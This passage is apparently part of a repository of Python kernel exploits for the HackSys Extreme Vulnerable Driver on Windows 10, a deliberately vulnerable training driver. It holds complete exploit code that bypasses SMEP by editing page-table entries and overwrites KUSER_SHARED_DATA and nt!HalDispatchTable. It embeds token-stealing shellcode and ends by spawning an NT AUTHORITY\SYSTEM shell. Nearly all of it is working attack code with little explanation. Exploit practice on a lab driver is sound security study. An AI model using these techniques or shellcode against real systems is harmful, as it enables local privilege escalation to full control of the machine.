185 |     0x0022200B,                         # dwIoControlCode
186 |     www_pte_bits_pointer,               # lpInBuffer
187 |     0x8,                                # nInBufferSize
188 |     None,                               # lpOutBuffer
189 |     0,                                  # nOutBufferSize
190 |     byref(c_ulong()),                   # lpBytesReturned
191 |     None                                # lpOverlapped
192 | )
193 | 
194 | # CTypes way of dereferencing a C void pointer
195 | shellcode_pte_control_bits_usermode = struct.unpack('<Q', shellcode_pte_bits_pointer)[0]
196 | 
197 | # Print update for PTE control bits
198 | print "[+] PTE control bits for shellcode memory page: {:016x}".format(shellcode_pte_control_bits_usermode)
199 | 
200 | # Phase 4: Overwrite current PTE U/S bit for shellcode page with an S (supervisor/kernel)
201 | 
202 | # Currently, the PTE control bit for U/S of the shellcode is that of a user mode memory page
203 | # Flipping the U (user) bit to an S (supervisor/kernel) bit
204 | shellcode_pte_control_bits_kernelmode = shellcode_pte_control_bits_usermode - 4
205 | 
206 | # Need to store the PTE control bits as a pointer
207 | # Using addressof(pte_overwrite_pointer) in Write-what-where structure #4 since a pointer to the PTE control bits are needed
208 | pte_overwrite_pointer = c_void_p(shellcode_pte_control_bits_kernelmode)
209 | 
210 | # Write-what-where structure #4
211 | www_pte_overwrite = WriteWhatWhere_PTE_Overwrite()
212 | www_pte_overwrite.What_PTE_Overwrite = addressof(pte_overwrite_pointer)
213 | www_pte_overwrite.Where_PTE_Overwrite = shellcode_pte
214 | www_pte_overwrite_pointer = pointer(www_pte_overwrite)
215 | 
216 | # Print update for PTE overwrite
217 | print "[+] Goodbye SMEP..."
218 | print "[+] Overwriting shellcodes PTE user control bit with a supervisor control bit..."
219 | 
220 | # 0x002200B = IOCTL code that will jump to TriggerArbitraryOverwrite() function
221 | kernel32.DeviceIoControl(
222 |     handle,                             # hDevice
223 |     0x0022200B,                         # dwIoControlCode
224 |     www_pte_overwrite_pointer,          # lpInBuffer
225 |     0x8,                                # nInBufferSize
226 |     None,                               # lpOutBuffer
227 |     0,                                  # nOutBufferSize
228 |     byref(c_ulong()),                   # lpBytesReturned
229 |     None                                # lpOverlapped
230 | )
231 | 
232 | # Print update for PTE overwrite round 2
233 | print "[+] User mode shellcode page is now a kernel mode page!"
234 | 
235 | # Phase 5: Shellcode
236 | 
237 | # nt!HalDispatchTable address (Windows 10 RS1 offset)
238 | haldispatchtable_base_address = kernel_address + 0x2f1330
239 | 
240 | # nt!HalDispatchTable + 0x8 address
241 | haldispatchtable = haldispatchtable_base_address + 0x8
242 | 
243 | # Print update for nt!HalDispatchTable + 0x8
244 | print "[+] nt!HalDispatchTable + 0x8 is located at: {0}".format(hex(haldispatchtable))
245 | 
246 | # Write-what-where structure #5
247 | www = WriteWhatWhere()
248 | www.What = addressof(shellcode_pointer)
249 | www.Where = haldispatchtable
250 | www_pointer = pointer(www)
251 | 
252 | # 0x002200B = IOCTL code that will jump to TriggerArbitraryOverwrite() function
253 | print "[+] Interacting with the driver..."
254 | kernel32.DeviceIoControl(
255 |     handle,                             # hDevice
256 |     0x0022200B,                         # dwIoControlCode
257 |     www_pointer,                        # lpInBuffer
258 |     0x8,                                # nInBufferSize
259 |     None,                               # lpOutBuffer
260 |     0,                                  # nOutBufferSize
261 |     byref(c_ulong()),                   # lpBytesReturned
262 |     None                                # lpOverlapped
263 | )
264 | 
265 | # Actually calling NtQueryIntervalProfile function, which will call HalDispatchTable + 0x8, where the shellcode will be waiting.
266 | ntdll.NtQueryIntervalProfile(
267 |     0x1234,
268 |     byref(c_ulonglong())
269 | )
270 | 
271 | # Print update for shell
272 | print "[+] Enjoy the NT AUTHORITY\SYSTEM shell!"
273 | os.system("cmd.exe /K cd C:\\")
274 | 


--------------------------------------------------------------------------------
/Kernel/SMEP Bypass/x64_HEVD_Windows_10_SMEP_Bypass_KUSER_SHARED_DATA_Arbitrary_Overwrite.py:
--------------------------------------------------------------------------------
  1 | # HackSysExtreme Vulnerable Driver Kernel Exploit (x64 Arbitrary Overwrite/SMEP Enabled)
  2 | # KUSER_SHARED_DATA + 0x800 overwrite
  3 | # Windows 10 RS1
  4 | # Author: Connor McGarr
  5 | 
  6 | import struct
  7 | import sys
  8 | import os
  9 | from ctypes import *
 10 | 
 11 | kernel32 = windll.kernel32
 12 | ntdll = windll.ntdll
 13 | psapi = windll.Psapi
 14 | 
 15 | # Defining KUSER_SHARED_DATA
 16 | KUSER_SHARED_DATA = 0xFFFFF78000000000
 17 | 
 18 | # First structure, for obtaining nt!MiGetPteAddress+0x13 value
 19 | class WriteWhatWhere_PTE_Base(Structure):
 20 |     _fields_ = [
 21 |         ("What_PTE_Base", c_void_p),
 22 |         ("Where_PTE_Base", c_void_p)
 23 |     ]
 24 | 
 25 | # Second structure, first 8 bytes of shellcode to be written to KUSER_SHARED_DATA + 0x800
 26 | class WriteWhatWhere_Shellcode_1(Structure):
 27 |     _fields_ = [
 28 |         ("What_Shellcode_1", c_void_p),
 29 |         ("Where_Shellcode_1", c_void_p)
 30 |     ]
 31 | 
 32 | # Third structure, next 8 bytes of shellcode to be written to KUSER_SHARED_DATA + 0x800
 33 | class WriteWhatWhere_Shellcode_2(Structure):
 34 |     _fields_ = [
 35 |         ("What_Shellcode_2", c_void_p),
 36 |         ("Where_Shellcode_2", c_void_p)
 37 |     ]
 38 | 
 39 | # Fourth structure, next 8 bytes of shellcode to be written to KUSER_SHARED_DATA + 0x800
 40 | class WriteWhatWhere_Shellcode_3(Structure):
 41 |     _fields_ = [
 42 |         ("What_Shellcode_3", c_void_p),
 43 |         ("Where_Shellcode_3", c_void_p)
 44 |     ]
 45 | 
 46 | # Fifth structure, next 8 bytes of shellcode to be written to KUSER_SHARED_DATA + 0x800
 47 | class WriteWhatWhere_Shellcode_4(Structure):
 48 |     _fields_ = [
 49 |         ("What_Shellcode_4", c_void_p),
 50 |         ("Where_Shellcode_4", c_void_p)
 51 |     ]
 52 | 
 53 | # Sixth structure, next 8 bytes of shellcode to be written to KUSER_SHARED_DATA + 0x800
 54 | class WriteWhatWhere_Shellcode_5(Structure):
 55 |     _fields_ = [
 56 |         ("What_Shellcode_5", c_void_p),
 57 |         ("Where_Shellcode_5", c_void_p)
 58 |     ]
 59 | 
 60 | # Seventh structure, next 8 bytes of shellcode to be written to KUSER_SHARED_DATA + 0x800
 61 | class WriteWhatWhere_Shellcode_6(Structure):
 62 |     _fields_ = [
 63 |         ("What_Shellcode_6", c_void_p),
 64 |         ("Where_Shellcode_6", c_void_p)
 65 |     ]
 66 | 
 67 | # Eighth structure, next 8 bytes of shellcode to be written to KUSER_SHARED_DATA + 0x800
 68 | class WriteWhatWhere_Shellcode_7(Structure):
 69 |     _fields_ = [
 70 |         ("What_Shellcode_7", c_void_p),
 71 |         ("Where_Shellcode_7", c_void_p)
 72 |     ]
 73 | 
 74 | # Ninth structure, next 8 bytes of shellcode to be written to KUSER_SHARED_DATA + 0x800
 75 | class WriteWhatWhere_Shellcode_8(Structure):
 76 |     _fields_ = [
 77 |         ("What_Shellcode_8", c_void_p),
 78 |         ("Where_Shellcode_8", c_void_p)
 79 |     ]
 80 | 
 81 | # Tenth structure, last 8 bytes of shellcode to be written to KUSER_SHARED_DATA + 0x800
 82 | class WriteWhatWhere_Shellcode_9(Structure):
 83 |     _fields_ = [
 84 |         ("What_Shellcode_9", c_void_p),
 85 |         ("Where_Shellcode_9", c_void_p)
 86 |     ]
 87 | 
 88 | 
 89 | # Eleventh structure, for obtaining the control bits for the PTE
 90 | class WriteWhatWhere_PTE_Control_Bits(Structure):
 91 |     _fields_ = [
 92 |         ("What_PTE_Control_Bits", c_void_p),
 93 |         ("Where_PTE_Control_Bits", c_void_p)
 94 |     ]
 95 | 
 96 | # Twelfth structure, to overwrite executable bit of KUSER_SHARED_DATA+0x800's PTE
 97 | class WriteWhatWhere_PTE_Overwrite(Structure):
 98 |     _fields_ = [
 99 |         ("What_PTE_Overwrite", c_void_p),
100 |         ("Where_PTE_Overwrite", c_void_p)
101 |     ]
102 | 
103 | # Thirteenth structure, to overwrite HalDispatchTable + 0x8 with KUSER_SHARED_DATA + 0x800
104 | class WriteWhatWhere(Structure):
105 |     _fields_ = [
106 |         ("What", c_void_p),
107 |         ("Where", c_void_p)
108 |     ]
109 | 
110 | """
111 | Token stealing payload
112 | \x65\x48\x8B\x04\x25\x88\x01\x00\x00              # mov rax,[gs:0x188]  ; Current thread (KTHREAD)
113 | \x48\x8B\x80\xB8\x00\x00\x00                      # mov rax,[rax+0xb8]  ; Current process (EPROCESS)
114 | \x48\x89\xC3                                      # mov rbx,rax         ; Copy current process to rbx
115 | \x48\x8B\x9B\xF0\x02\x00\x00                      # mov rbx,[rbx+0x2f0] ; ActiveProcessLinks
116 | \x48\x81\xEB\xF0\x02\x00\x00                      # sub rbx,0x2f0       ; Go back to current process
117 | \x48\x8B\x8B\xE8\x02\x00\x00                      # mov rcx,[rbx+0x2e8] ; UniqueProcessId (PID)
118 | \x48\x83\xF9\x04                                  # cmp rcx,byte +0x4   ; Compare PID to SYSTEM PID
119 | \x75\xE5                                          # jnz 0x13            ; Loop until SYSTEM PID is found
120 | \x48\x8B\x8B\x58\x03\x00\x00                      # mov rcx,[rbx+0x358] ; SYSTEM token is @ offset _EPROCESS + 0x358
121 | \x80\xE1\xF0                                      # and cl, 0xf0        ; Clear out _EX_FAST_REF RefCnt
122 | \x48\x89\x88\x58\x03\x00\x00                      # mov [rax+0x358],rcx ; Copy SYSTEM token to current process
123 | \x48\x31\xC0                                      # xor rax,rax         ; set NTSTATUS SUCCESS
124 | \xC3                                              # ret                 ; Done!
125 | )
126 | """
127 | 
128 | # c_ulonglong because of x64 size (unsigned __int64)
129 | base = (c_ulonglong * 1024)()
130 | 
131 | print "[+] Calling EnumDeviceDrivers()..."
132 | get_drivers = psapi.EnumDeviceDrivers(
133 |     byref(base),                      # lpImageBase (array that receives list of addresses)
134 |     sizeof(base),                     # cb (size of lpImageBase array, in bytes)
135 |     byref(c_long())                   # lpcbNeeded (bytes returned in the array)
136 | )
137 | 
138 | # Error handling if function fails
139 | if not base:
140 |     print "[+] EnumDeviceDrivers() function call failed!"
141 |     sys.exit(-1)
142 | 
143 | # The first entry in the array with device drivers is ntoskrnl base address
144 | kernel_address = base[0]
145 | 
146 | # Print update for ntoskrnl.exe base address
147 | print "[+] Found kernel leak!"
148 | print "[+] ntoskrnl.exe base address: {0}".format(hex(kernel_address))
149 | 
150 | # Phase 1: Grab the base of the PTEs via nt!MiGetPteAddress
151 | 
152 | # Retrieving nt!MiGetPteAddress (Windows 10 RS1 offset)
153 | nt_mi_get_pte_address = kernel_address + 0x1b5f4
154 | 
155 | # Print update for nt!MiGetPteAddress address 
156 | print "[+] nt!MiGetPteAddress is located at: {0}".format(hex(nt_mi_get_pte_address))
157 | 
158 | # Base of PTEs is located at nt!MiGetPteAddress + 0x13
159 | pte_base = nt_mi_get_pte_address + 0x13
160 | 
161 | # Print update for nt!MiGetPteAddress+0x13 address
162 | print "[+] nt!MiGetPteAddress+0x13 is located at: {0}".format(hex(pte_base))
163 | 
164 | # Creating a pointer in which the contents of nt!MiGetPteAddress+0x13 will be stored in to
165 | # Base of the PTEs are stored here
166 | base_of_ptes_pointer = c_void_p()
167 | 
168 | # Write-what-where structure #1
169 | www_pte_base = WriteWhatWhere_PTE_Base()
170 | www_pte_base.What_PTE_Base = pte_base
171 | www_pte_base.Where_PTE_Base = addressof(base_of_ptes_pointer)
172 | www_pte_pointer = pointer(www_pte_base)
173 | 
174 | # Getting handle to driver to return to DeviceIoControl() function
175 | handle = kernel32.CreateFileA(
176 |     "\\\\.\\HackSysExtremeVulnerableDriver", # lpFileName
177 |     0xC0000000,                         # dwDesiredAccess
178 |     0,                                  # dwShareMode
179 |     None,                               # lpSecurityAttributes
180 |     0x3,                                # dwCreationDisposition
181 |     0,                                  # dwFlagsAndAttributes
182 |     None                                # hTemplateFile
183 | )
184 | 
185 | # 0x002200B = IOCTL code that will jump to TriggerArbitraryOverwrite() function
186 | kernel32.DeviceIoControl(
187 |     handle,                             # hDevice
188 |     0x0022200B,                         # dwIoControlCode
189 |     www_pte_pointer,                       # lpInBuffer
190 |     0x8,                                # nInBufferSize
191 |     None,                               # lpOutBuffer
192 |     0,                                  # nOutBufferSize
193 |     byref(c_ulong()),                   # lpBytesReturned
194 |     None                                # lpOverlapped
195 | )
196 | 
197 | # CTypes way of extracting value from a C void pointer
198 | base_of_ptes = struct.unpack('<Q', base_of_ptes_pointer)[0]
199 | 
200 | # Print update for PTE base
201 | print "[+] Leaked base of PTEs!"
202 | print "[+] Base of PTEs are located at: {0}".format(hex(base_of_ptes))
203 | 
204 | # Phase 2: Calculate KUSER_SHARED_DATA's PTE address
205 | 
206 | # Calculating the PTE for KUSER_SHARED_DATA + 0x800
207 | kuser_shared_data_800_pte_address = KUSER_SHARED_DATA + 0x800 >> 9
208 | kuser_shared_data_800_pte_address &= 0x7ffffffff8
209 | kuser_shared_data_800_pte_address += base_of_ptes
210 | 
211 | # Print update for KUSER_SHARED_DATA + 0x800 PTE
212 | print "[+] PTE for KUSER_SHARED_DATA + 0x800 is located at {0}".format(hex(kuser_shared_data_800_pte_address))
213 | 
214 | # Phase 3: Write shellcode to KUSER_SHARED_DATA + 0x800
215 | 
216 | # First 8 bytes
217 | 
218 | # Using just long long integer, because only writing opcodes.
219 | first_shellcode = c_ulonglong(0x00018825048B4865)
220 | 
221 | # Write-what-where structure #2
222 | www_shellcode_one = WriteWhatWhere_Shellcode_1()
223 | www_shellcode_one.What_Shellcode_1 = addressof(first_shellcode)
224 | www_shellcode_one.Where_Shellcode_1 = KUSER_SHARED_DATA + 0x800
225 | www_shellcode_one_pointer = pointer(www_shellcode_one)
226 | 
227 | # Print update for shellcode
228 | print "[+] Writing first 8 bytes of shellcode to KUSER_SHARED_DATA + 0x800..."
229 | 
230 | # 0x002200B = IOCTL code that will jump to TriggerArbitraryOverwrite() function
231 | kernel32.DeviceIoControl(
232 |     handle,                             # hDevice
233 |     0x0022200B,                         # dwIoControlCode
234 |     www_shellcode_one_pointer,          # lpInBuffer
235 |     0x8,                                # nInBufferSize
236 |     None,                               # lpOutBuffer
237 |     0,                                  # nOutBufferSize
238 |     byref(c_ulong()),                   # lpBytesReturned
239 |     None                                # lpOverlapped
240 | )
241 | 
242 | # Next 8 bytes
243 | second_shellcode = c_ulonglong(0x000000B8808B4800)
244 | 
245 | # Write-what-where structure #3
246 | www_shellcode_two = WriteWhatWhere_Shellcode_2()
247 | www_shellcode_two.What_Shellcode_2 = addressof(second_shellcode)
248 | www_shellcode_two.Where_Shellcode_2 = KUSER_SHARED_DATA + 0x808
249 | www_shellcode_two_pointer = pointer(www_shellcode_two)
250 | 
251 | # Print update for shellcode
252 | print "[+] Writing next 8 bytes of shellcode to KUSER_SHARED_DATA + 0x808..."
253 | 
254 | # 0x002200B = IOCTL code that will jump to TriggerArbitraryOverwrite() function
255 | kernel32.DeviceIoControl(
256 |     handle,                             # hDevice
257 |     0x0022200B,                         # dwIoControlCode
258 |     www_shellcode_two_pointer,          # lpInBuffer
259 |     0x8,                                # nInBufferSize
260 |     None,                               # lpOutBuffer
261 |     0,                                  # nOutBufferSize
262 |     byref(c_ulong()),                   # lpBytesReturned
263 |     None                                # lpOverlapped
264 | )
265 | 
266 | # Next 8 bytes
267 | third_shellcode = c_ulonglong(0x02F09B8B48C38948)
268 | 
269 | # Write-what-where structure #4
270 | www_shellcode_three = WriteWhatWhere_Shellcode_3()
271 | www_shellcode_three.What_Shellcode_3 = addressof(third_shellcode)
272 | www_shellcode_three.Where_Shellcode_3 = KUSER_SHARED_DATA + 0x810
273 | www_shellcode_three_pointer = pointer(www_shellcode_three)
274 | 
275 | # Print update for shellcode
276 | print "[+] Writing next 8 bytes of shellcode to KUSER_SHARED_DATA + 0x810..."
277 | 
278 | # 0x002200B = IOCTL code that will jump to TriggerArbitraryOverwrite() function
279 | kernel32.DeviceIoControl(
280 |     handle,                             # hDevice
281 |     0x0022200B,                         # dwIoControlCode
282 |     www_shellcode_three_pointer,        # lpInBuffer
283 |     0x8,                                # nInBufferSize
284 |     None,                               # lpOutBuffer
285 |     0,                                  # nOutBufferSize
286 |     byref(c_ulong()),                   # lpBytesReturned
287 |     None                                # lpOverlapped
288 | )
289 | 
290 | # Next 8 bytes
291 | fourth_shellcode = c_ulonglong(0x0002F0EB81480000)
292 | 
293 | # Write-what-where structure #5
294 | www_shellcode_four = WriteWhatWhere_Shellcode_4()
295 | www_shellcode_four.What_Shellcode_4 = addressof(fourth_shellcode)
296 | www_shellcode_four.Where_Shellcode_4 = KUSER_SHARED_DATA + 0x818
297 | www_shellcode_four_pointer = pointer(www_shellcode_four)
298 | 
299 | # Print update for shellcode
300 | print "[+] Writing next 8 bytes of shellcode to KUSER_SHARED_DATA + 0x818..."
301 | 
302 | # 0x002200B = IOCTL code that will jump to TriggerArbitraryOverwrite() function
303 | kernel32.DeviceIoControl(
304 |     handle,                             # hDevice
305 |     0x0022200B,                         # dwIoControlCode
306 |     www_shellcode_four_pointer,         # lpInBuffer
307 |     0x8,                                # nInBufferSize
308 |     None,                               # lpOutBuffer
309 |     0,                                  # nOutBufferSize
310 |     byref(c_ulong()),                   # lpBytesReturned
311 |     None                                # lpOverlapped
312 | )
313 | 
314 | # Next 8 bytes
315 | fifth_shellcode = c_ulonglong(0x000002E88B8B4800)
316 | 
317 | # Write-what-where structure #6
318 | www_shellcode_five = WriteWhatWhere_Shellcode_5()
319 | www_shellcode_five.What_Shellcode_5 = addressof(fifth_shellcode)
320 | www_shellcode_five.Where_Shellcode_5 = KUSER_SHARED_DATA + 0x820
321 | www_shellcode_five_pointer = pointer(www_shellcode_five)
322 | 
323 | # Print update for shellcode
324 | print "[+] Writing next 8 bytes of shellcode to KUSER_SHARED_DATA + 0x820..."
325 | 
326 | # 0x002200B = IOCTL code that will jump to TriggerArbitraryOverwrite() function
327 | kernel32.DeviceIoControl(
328 |     handle,                             # hDevice
329 |     0x0022200B,                         # dwIoControlCode
330 |     www_shellcode_five_pointer,         # lpInBuffer
331 |     0x8,                                # nInBufferSize
332 |     None,                               # lpOutBuffer
333 |     0,                                  # nOutBufferSize
334 |     byref(c_ulong()),                   # lpBytesReturned
335 |     None                                # lpOverlapped
336 | )
337 | 
338 | # Next 8 bytes
339 | sixth_shellcode = c_ulonglong(0x8B48E57504F98348)
340 | 
341 | # Write-what-where structure #7
342 | www_shellcode_six = WriteWhatWhere_Shellcode_6()
343 | www_shellcode_six.What_Shellcode_6 = addressof(sixth_shellcode)
344 | www_shellcode_six.Where_Shellcode_6 = KUSER_SHARED_DATA + 0x828
345 | www_shellcode_six_pointer = pointer(www_shellcode_six)
346 | 
347 | # Print update for shellcode
348 | print "[+] Writing next 8 bytes of shellcode to KUSER_SHARED_DATA + 0x828..."
349 | 
350 | # 0x002200B = IOCTL code that will jump to TriggerArbitraryOverwrite() function
351 | kernel32.DeviceIoControl(
352 |     handle,                             # hDevice
353 |     0x0022200B,                         # dwIoControlCode
354 |     www_shellcode_six_pointer,          # lpInBuffer
355 |     0x8,                                # nInBufferSize
356 |     None,                               # lpOutBuffer
357 |     0,                                  # nOutBufferSize
358 |     byref(c_ulong()),                   # lpBytesReturned
359 |     None                                # lpOverlapped
360 | )
361 | 
362 | # Next 8 bytes
363 | seventh_shellcode = c_ulonglong(0xF0E180000003588B)
364 | 
365 | # Write-what-where structure #8
366 | www_shellcode_seven = WriteWhatWhere_Shellcode_7()
367 | www_shellcode_seven.What_Shellcode_7 = addressof(seventh_shellcode)
368 | www_shellcode_seven.Where_Shellcode_7 = KUSER_SHARED_DATA + 0x830
369 | www_shellcode_seven_pointer = pointer(www_shellcode_seven)
370 | 
371 | # Print update for shellcode
372 | print "[+] Writing next 8 bytes of shellcode to KUSER_SHARED_DATA + 0x830..."
373 | 
374 | # 0x002200B = IOCTL code that will jump to TriggerArbitraryOverwrite() function
375 | kernel32.DeviceIoControl(
376 |     handle,                             # hDevice
377 |     0x0022200B,                         # dwIoControlCode
378 |     www_shellcode_seven_pointer,        # lpInBuffer
379 |     0x8,                                # nInBufferSize
380 |     None,                               # lpOutBuffer
381 |     0,                                  # nOutBufferSize
382 |     byref(c_ulong()),                   # lpBytesReturned
383 |     None                                # lpOverlapped
384 | )
385 | 
386 | # Next 8 bytes
387 | eighth_shellcode = c_ulonglong(0x4800000358888948)
388 | 
389 | # Write-what-where structure #9
390 | www_shellcode_eight = WriteWhatWhere_Shellcode_8()
391 | www_shellcode_eight.What_Shellcode_8 = addressof(eighth_shellcode)
392 | www_shellcode_eight.Where_Shellcode_8 = KUSER_SHARED_DATA + 0x838
393 | www_shellcode_eight_pointer = pointer(www_shellcode_eight)
394 | 
395 | # Print update for shellcode
396 | print "[+] Writing next 8 bytes of shellcode to KUSER_SHARED_DATA + 0x838..."
397 | 
398 | # 0x002200B = IOCTL code that will jump to TriggerArbitraryOverwrite() function
399 | kernel32.DeviceIoControl(
400 |     handle,                             # hDevice
401 |     0x0022200B,                         # dwIoControlCode
402 |     www_shellcode_eight_pointer,        # lpInBuffer
403 |     0x8,                                # nInBufferSize
404 |     None,                               # lpOutBuffer
405 |     0,                                  # nOutBufferSize
406 |     byref(c_ulong()),                   # lpBytesReturned
407 |     None                                # lpOverlapped
408 | )
409 | 
410 | # Last 8 bytes
411 | ninth_shellcode = c_ulonglong(0x0000000000C3C031)
412 | 
413 | # Write-what-where structure #10
414 | www_shellcode_nine = WriteWhatWhere_Shellcode_9()
415 | www_shellcode_nine.What_Shellcode_9 = addressof(ninth_shellcode)
416 | www_shellcode_nine.Where_Shellcode_9 = KUSER_SHARED_DATA + 0x840
417 | www_shellcode_nine_pointer = pointer(www_shellcode_nine)
418 | 
419 | # Print update for shellcode
420 | print "[+] Writing next 8 bytes of shellcode to KUSER_SHARED_DATA + 0x840..."
421 | 
422 | # 0x002200B = IOCTL code that will jump to TriggerArbitraryOverwrite() function
423 | kernel32.DeviceIoControl(
424 |     handle,                             # hDevice
425 |     0x0022200B,                         # dwIoControlCode
426 |     www_shellcode_nine_pointer,         # lpInBuffer
427 |     0x8,                                # nInBufferSize
428 |     None,                               # lpOutBuffer
429 |     0,                                  # nOutBufferSize
430 |     byref(c_ulong()),                   # lpBytesReturned
431 |     None                                # lpOverlapped
432 | )
433 | 
434 | # Phase 3: Extract KUSER_SHARED_DATA + 0x800's PTE control bits
435 | 
436 | # Declaring C void pointer to stores PTE control bits
437 | pte_bits_pointer = c_void_p()
438 | 
439 | # Write-what-where structure #11
440 | www_pte_bits = WriteWhatWhere_PTE_Control_Bits()
441 | www_pte_bits.What_PTE_Control_Bits = kuser_shared_data_800_pte_address
442 | www_pte_bits.Where_PTE_Control_Bits = addressof(pte_bits_pointer)
443 | www_pte_bits_pointer = pointer(www_pte_bits)
444 | 
445 | # 0x002200B = IOCTL code that will jump to TriggerArbitraryOverwrite() function
446 | kernel32.DeviceIoControl(
447 |     handle,                             # hDevice
448 |     0x0022200B,                         # dwIoControlCode
449 |     www_pte_bits_pointer,               # lpInBuffer
450 |     0x8,                                # nInBufferSize
451 |     None,                               # lpOutBuffer
452 |     0,                                  # nOutBufferSize
453 |     byref(c_ulong()),                   # lpBytesReturned
454 |     None                                # lpOverlapped
455 | )
456 | 
457 | # CTypes way of extracting value from a C void pointer
458 | pte_control_bits_no_execute = struct.unpack('<Q', pte_bits_pointer)[0]
459 | 
460 | # Print update for PTE control bits
461 | print "[+] PTE control bits for KUSER_SHARED_DATA + 0x800: {:016x}".format(pte_control_bits_no_execute)
462 | 
463 | # Phase 4: Overwrite current PTE U/S bit for shellcode page with an S (supervisor/kernel)
464 | 
465 | # Setting KUSER_SHARED_DATA + 0x800 to executable
466 | pte_control_bits_execute= pte_control_bits_no_execute & 0x0FFFFFFFFFFFFFFF
467 | 
468 | # Need to store the PTE control bits as a pointer
469 | # Using addressof(pte_overwrite_pointer) in Write-what-where structure #4 since a pointer to the PTE control bits are needed
470 | pte_overwrite_pointer = c_void_p(pte_control_bits_execute)
471 | 
472 | # Write-what-where structure #12
473 | www_pte_overwrite = WriteWhatWhere_PTE_Overwrite()
474 | www_pte_overwrite.What_PTE_Overwrite = addressof(pte_overwrite_pointer)
475 | www_pte_overwrite.Where_PTE_Overwrite = kuser_shared_data_800_pte_address
476 | www_pte_overwrite_pointer = pointer(www_pte_overwrite)
477 | 
478 | # Print update for PTE overwrite
479 | print "[+] Overwriting KUSER_SHARED_DATA + 0x800's PTE..."
480 | 
481 | # 0x002200B = IOCTL code that will jump to TriggerArbitraryOverwrite() function
482 | kernel32.DeviceIoControl(
483 |     handle,                             # hDevice
484 |     0x0022200B,                         # dwIoControlCode
485 |     www_pte_overwrite_pointer,          # lpInBuffer
486 |     0x8,                                # nInBufferSize
487 |     None,                               # lpOutBuffer
488 |     0,                                  # nOutBufferSize
489 |     byref(c_ulong()),                   # lpBytesReturned
490 |     None                                # lpOverlapped
491 | )
492 | 
493 | # Print update for PTE overwrite round 2
494 | print "[+] KUSER_SHARED_DATA + 0x800 is now executable! See you later, SMEP!"
495 | 
496 | # Phase 5: Shellcode
497 | 
498 | # nt!HalDispatchTable address (Windows 10 RS1 offset)
499 | haldispatchtable_base_address = kernel_address + 0x2f43b0
500 | 
501 | # nt!HalDispatchTable + 0x8 address
502 | haldispatchtable = haldispatchtable_base_address + 0x8
503 | 
504 | # Print update for nt!HalDispatchTable + 0x8
505 | print "[+] nt!HalDispatchTable + 0x8 is located at: {0}".format(hex(haldispatchtable))
506 | 
507 | # Declaring KUSER_SHARED_DATA + 0x800 address again as a c_ulonglong to satisy c_void_p type from strucutre.
508 | KUSER_SHARED_DATA_LONGLONG = c_ulonglong(0xFFFFF78000000800)
509 | 
510 | # Write-what-where structure #13
511 | www = WriteWhatWhere()
512 | www.What = addressof(KUSER_SHARED_DATA_LONGLONG)
513 | www.Where = haldispatchtable
514 | www_pointer = pointer(www)
515 | 
516 | # 0x002200B = IOCTL code that will jump to TriggerArbitraryOverwrite() function
517 | print "[+] Interacting with the driver..."
518 | kernel32.DeviceIoControl(
519 |     handle,                             # hDevice
520 |     0x0022200B,                         # dwIoControlCode
521 |     www_pointer,                        # lpInBuffer
522 |     0x8,                                # nInBufferSize
523 |     None,                               # lpOutBuffer
524 |     0,                                  # nOutBufferSize
525 |     byref(c_ulong()),                   # lpBytesReturned
526 |     None                                # lpOverlapped
527 | )
528 | 
529 | # Actually calling NtQueryIntervalProfile function, which will call HalDispatchTable + 0x8, where the shellcode will be waiting.
530 | ntdll.NtQueryIntervalProfile(
531 |     0x1234,
532 |     byref(c_ulonglong())
533 | )
534 | 
535 | # Print update for shell
536 | print "[+] Enjoy the NT AUTHORITY\SYSTEM shell!"
537 | os.system("cmd.exe /K cd C:\\")
538 | 


--------------------------------------------------------------------------------
/Kernel/SMEP Bypass/x64_HEVD_Windows_10_SMEP_Bypass_Stack_Overflow.py:
--------------------------------------------------------------------------------
  1 | # HackSysExtreme Vulnerable Driver Kernel Exploit (x64 Stack Overflow/SMEP Enabled)
  2 | # Author: Connor McGarr
  3 | 
  4 | import struct
  5 | import sys
  6 | import os
  7 | from ctypes import *
  8 | 
  9 | kernel32 = windll.kernel32
 10 | ntdll = windll.ntdll
 11 | psapi = windll.Psapi
 12 | 
 13 | 
 14 | payload = bytearray(
 15 |     "\x65\x48\x8B\x04\x25\x88\x01\x00\x00"              # mov rax,[gs:0x188]  ; Current thread (KTHREAD)
 16 |     "\x48\x8B\x80\xB8\x00\x00\x00"                      # mov rax,[rax+0xb8]  ; Current process (EPROCESS)
 17 |     "\x48\x89\xC3"                                      # mov rbx,rax         ; Copy current process to rbx
 18 |     "\x48\x8B\x9B\xE8\x02\x00\x00"                      # mov rbx,[rbx+0x2e8] ; ActiveProcessLinks
 19 |     "\x48\x81\xEB\xE8\x02\x00\x00"                      # sub rbx,0x2e8       ; Go back to current process
 20 |     "\x48\x8B\x8B\xE0\x02\x00\x00"                      # mov rcx,[rbx+0x2e0] ; UniqueProcessId (PID)
 21 |     "\x48\x83\xF9\x04"                                  # cmp rcx,byte +0x4   ; Compare PID to SYSTEM PID
 22 |     "\x75\xE5"                                          # jnz 0x13            ; Loop until SYSTEM PID is found
 23 |     "\x48\x8B\x8B\x58\x03\x00\x00"                      # mov rcx,[rbx+0x358] ; SYSTEM token is @ offset _EPROCESS + 0x358
 24 |     "\x80\xE1\xF0"                                      # and cl, 0xf0        ; Clear out _EX_FAST_REF RefCnt
 25 |     "\x48\x89\x88\x58\x03\x00\x00"                      # mov [rax+0x358],rcx ; Copy SYSTEM token to current process
 26 |     "\x48\x83\xC4\x40"                                  # add rsp, 0x40       ; RESTORE (Specific to HEVD)
 27 |     "\xC3"                                              # ret                 ; Done!
 28 | )
 29 | 
 30 | # Defeating DEP with VirtualAlloc. Creating RWX memory, and copying our shellcode in that region.
 31 | # We also need to bypass SMEP before calling this shellcode
 32 | print "[+] Allocating RWX region for shellcode"
 33 | ptr = kernel32.VirtualAlloc(
 34 |     c_int(0),                         # lpAddress
 35 |     c_int(len(payload)),              # dwSize
 36 |     c_int(0x3000),                    # flAllocationType
 37 |     c_int(0x40)                       # flProtect
 38 | )
 39 | 
 40 | # Creates a ctype variant of the payload (from_buffer)
 41 | c_type_buffer = (c_char * len(payload)).from_buffer(payload)
 42 | 
 43 | print "[+] Copying shellcode to newly allocated RWX region"
 44 | kernel32.RtlMoveMemory(
 45 |     c_int(ptr),                       # Destination (pointer)
 46 |     c_type_buffer,                    # Source (pointer)
 47 |     c_int(len(payload))               # Length
 48 | )
 49 | 
 50 | # Need kernel leak to bypass KASLR
 51 | # Using Windows API to enumerate base addresses
 52 | # We need kernel mode ROP gadgets
 53 | 
 54 | # c_ulonglong because of x64 size (unsigned __int64)
